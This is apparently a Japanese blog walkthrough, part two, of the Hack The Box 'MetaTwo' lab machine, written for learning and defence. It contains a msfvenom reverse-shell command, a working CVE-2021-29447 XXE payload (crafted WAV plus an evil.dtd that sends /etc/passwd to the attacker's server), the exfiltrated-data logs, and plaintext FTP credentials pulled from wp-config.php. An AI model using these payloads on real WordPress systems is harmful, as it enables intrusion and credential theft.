【Hack The Box】MetaTwo【WriteUp - その２】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___MetaTwo___」にチャレンジした際の ___WriteUp - その２___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※個人的に学びになったので備忘録で記載します。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

「Write Up - その１」の記事は以下です。

https://qiita.com/schectman-hell/items/0099ab426f99127439c3

# Persistence
## Reverse Shell
ログインに成功すると、以下のようにアップロードできそうな項目が見つかるので、足場構築のためにリバースシェルを叩き込んでみる。

![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1432281c-7ca3-45a9-192f-a2637489d680.png)

リバースシェル用のIPを確認する。以下抜粋。
※この場合は`tun0`
```bash
┌──(root💀kali)-[~/work]
└─# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
...
7: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.20/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::1012/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::c387:6e9c:124b:8e4e/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
```
リバースシェルを作成。
```bash
┌──(root💀kali)-[~/work]
└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=4444 -f raw > shell.php
```
サイトへアップロード。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e302fb8a-b466-7f2e-eee5-d857da9f5771.png)
「Sorry, this file type is not permitted for security reasons.」って言われる！！だめか！！
ちょっと調べると以下のサイトで書かれているが、特定の拡張子じゃないと駄目のようである。。。

https://kinsta.com/jp/knowledgebase/sorry-this-file-type-is-not-permitted-for-security-reasons/

攻め方を考えないといけない。

## CVE-2021-29447
「Write Up - その１」で調べていたWordPress5.6.2の脆弱性で気になっていたものがある。CVE-2021-29447である。XXE攻撃だ。

この攻撃の流れでWAVファイルを攻撃対象に注入するものがあったのを思い出した。
...この脆弱性使えそう！！！

以下のGitHubを参考にする。

https://github.com/motikan2010/CVE-2021-29447

WAVファイル`malicious.wav`作成。
```bash
┌──(root💀kali)-[~/work]
└─# echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.20:8000/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
```
攻撃対象がアクセスする`evil.dtd`を作成しておく。
以下では「/etc/passwd」の内容を`p`クエリにBASE64エンコードされた状態で飛ばさせる仕様だ。
```text:evil.dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.20:8000/?p=%file;'>" >
```
BASE64をデコードできるように以下のファイルも作成しておく。
```php:decrypt.php
<?php

echo zlib_decode(base64_decode('[ここにBASE64エンコードをコピペします]'));
```
`evil.dtd`にアクセスさせるために簡易的にサーバーを起動しておく。
```bash
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 8000 --bind 10.10.14.20
Serving HTTP on 10.10.14.20 port 8000 (http://10.10.14.20:8000/) ...
```
WAVファイル`malicious.wav`を先ほどのWordPressのページへアップロードします。
するとリクエストが来ます。

```bash
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 8000 --bind 10.10.14.20
Serving HTTP on 10.10.14.20 port 8000 (http://10.10.14.20:8000/) ...
10.10.11.186 - - [03/Nov/2022 20:59:54] "GET /evil.dtd HTTP/1.1" 200 -
10.10.11.186 - - [03/Nov/2022 20:59:55] "GET /?p=jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw== HTTP/1.1" 200 -
10.10.11.186 - - [03/Nov/2022 20:59:55] "GET /evil.dtd HTTP/1.1" 200 -
10.10.11.186 - - [03/Nov/2022 20:59:56] "GET /?p=jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw== HTTP/1.1" 200 -
```
`p`クエリの中身を先ほどの`decrypt.php`の中身に貼り付けます。
その後、以下のコマンドを実行し、デコードしたものを見ます。
```bash
┌──(root💀kali)-[~/work]
└─# php ./decrypt.php                             
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
```
`jnelson`のrsaキー取れそうですな。

`evil.dtd`の「`/etc/passwd`」を「`/home/jnelson/.ssh/id_rsa`」に書き換えて実行してみた。
...`p`クエリが帰ってこない....なんでや...
もしかしてないのか？？？こんな足場構築時間かかるか！？

ディレクトリ階層はReadできるようになったので、別ルートから何かしら発見する必要がありそうだ...

## Nginx Config
とりあえずどこになにがあるかはちょっと微妙だが、FTP、Nginxのサービスは立ち上がっていることは`Nmap`から把握しているのでそれぞれのコンフィグ階層を探ってみる。
以下ファイルを探ってみた。
+ /etc/vsftpd/vsftpd.conf
+ /etc/nginx/nginx.conf

FTPはかえって来なかったが、Nginxのコンフィグ階層は帰ってきた。
HTTPのデフォルトルートページの記述はなかったが、そのファイルの中で「`/etc/nginx/sites-enabled/`」を参照している記述を発見したので「`/etc/nginx/sites-enabled/default`」を取ってくる。

そのファイルの中身を確認すると`/var/www/metapress.htb/blog`がこのWordPressの資材を置いている階層のようである。
`dirsearch`で見つけていた以下ファイルをとりあえず取ってきてみる。

+ /wp-admin/setup-config.php
+ /wp-admin/install.php
+ /wp-config.php  

すると、「`wp-config.php`」にFTPのクレデンシャルが記載されていた。
※以下抜粋
```php:wp-config.php
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
```
じゃぁFTPやってみましょう！！

## FTP

```bash
┌──(root💀kali)-[~/work]
└─# ftp 10.10.11.186
Connected to 10.10.11.186.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (10.10.11.186:kali): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5 14:12 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 mailer
226 Transfer complete
```
入れた。２階層見える。
```bash
ftp> cd blog
250 CWD command successful
ftp> ls -lta
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5 14:12 .
drwxr-xr-x   4 0        metapress.htb     4096 Oct  5 14:12 ..
drwxr-xr-x   9 metapress.htb metapress.htb     4096 Oct  5 14:12 wp-admin
drwxr-xr-x   6 metapress.htb metapress.htb     4096 Oct  5 14:12 wp-content
drwxr-xr-x  25 metapress.htb metapress.htb    12288 Oct  5 14:12 wp-includes
-rw-r--r--   1 metapress.htb metapress.htb     2032 Jun 23 18:12 wp-config.php
-rw-r--r--   1 metapress.htb metapress.htb      633 Jun 23 18:11 .htaccess
-rw-r--r--   1 metapress.htb metapress.htb    20975 Nov 12  2020 wp-settings.php
-rw-r--r--   1 metapress.htb metapress.htb    49831 Nov  9  2020 wp-login.php
-rw-r--r--   1 metapress.htb metapress.htb     2328 Oct  8  2020 wp-comments-post.php
-rw-r--r--   1 metapress.htb metapress.htb     4747 Oct  8  2020 wp-trackback.php
-rw-r--r--   1 metapress.htb metapress.htb    31337 Sep 30  2020 wp-signup.php
-rw-r--r--   1 metapress.htb metapress.htb     3939 Jul 30  2020 wp-cron.php
-rw-r--r--   1 metapress.htb metapress.htb     7101 Jul 28  2020 wp-activate.php
-rw-r--r--   1 metapress.htb metapress.htb     7278 Jun 26  2020 readme.html
-rw-r--r--   1 metapress.htb metapress.htb     3236 Jun  8  2020 xmlrpc.php
-rw-r--r--   1 metapress.htb metapress.htb     8509 Apr 14  2020 wp-mail.php
-rw-r--r--   1 metapress.htb metapress.htb    19915 Feb 12  2020 license.txt
-rw-r--r--   1 metapress.htb metapress.htb      405 Feb  6  2020 index.php
-rw-r--r--   1 metapress.htb metapress.htb      351 Feb  6  2020 wp-blog-header.php
-rw-r--r--   1 metapress.htb metapress.htb     2913 Feb  6  2020 wp-config-sample.php
-rw-r--r--   1 metapress.htb metapress.htb     2496 Feb  6  2020 wp-links-opml.php
-rw-r--r--   1 metapress.htb metapress.htb     3300 Feb  6  2020 wp-load.php
226 Transfer complete
```
`blog`はWordPressのファイルばかりで特段いいものなさそう。
```bash
ftp> cd ../mailer
250 CWD command successful
ftp> ls -lta
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 .
drwxr-xr-x   4 0        metapress.htb     4096 Oct  5 14:12 ..
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5 14:12 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22 18:32 send_email.php
226 Transfer complete
```
`mailer`には色々ありそう。
とりあえず２ファイルをDLする。
```bash
ftp> get PHPMailer
local: PHPMailer remote: PHPMailer
200 PORT command successful
550 PHPMailer: Not a regular file
ftp> get send_email.php
local: send_email.php remote: send_email.php
200 PORT command successful
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
226 Transfer complete
1126 bytes received in 0.00 secs (19.5243 MB/s)
```
中身を見ると、`send_email.php`に`jnelson`のクレデンシャル情報が...
これでSSHしてみる。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7c3dd824-82de-26ba-25f7-596695a131ac.png)

いった！！！

# 学び
WordPressのバージョンがわかってしまうと、攻撃の起点となる脆弱性を多用されて侵入を許さすこととなるので、できるだけバージョンを見せないようにしましょう。
また、WordPressは大勢使用しているフレームワークなので狙われることが多く、脆弱性が頻繁に出てきています。プラグインやテーマ、PHP自体の脆弱性を含むと相当数あることとなります。
なので、頻繁に脆弱性をチェックし、脆弱性が見つかった場合はバージョンアップやWAFでの制御など脆弱性を突かれないような運用が必要です。

※という自身の備忘録。

# まとめ
これで一般システム権限を取れました。
次は ___Privilege Escalation___ の流れになりますが、本記事は一旦ここまでとさせて頂こう。
※というより、特権昇格に関してはそこまで自分の中で記事にするWillがないので ___書かないと思います___。普通のPGPのお話だし。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。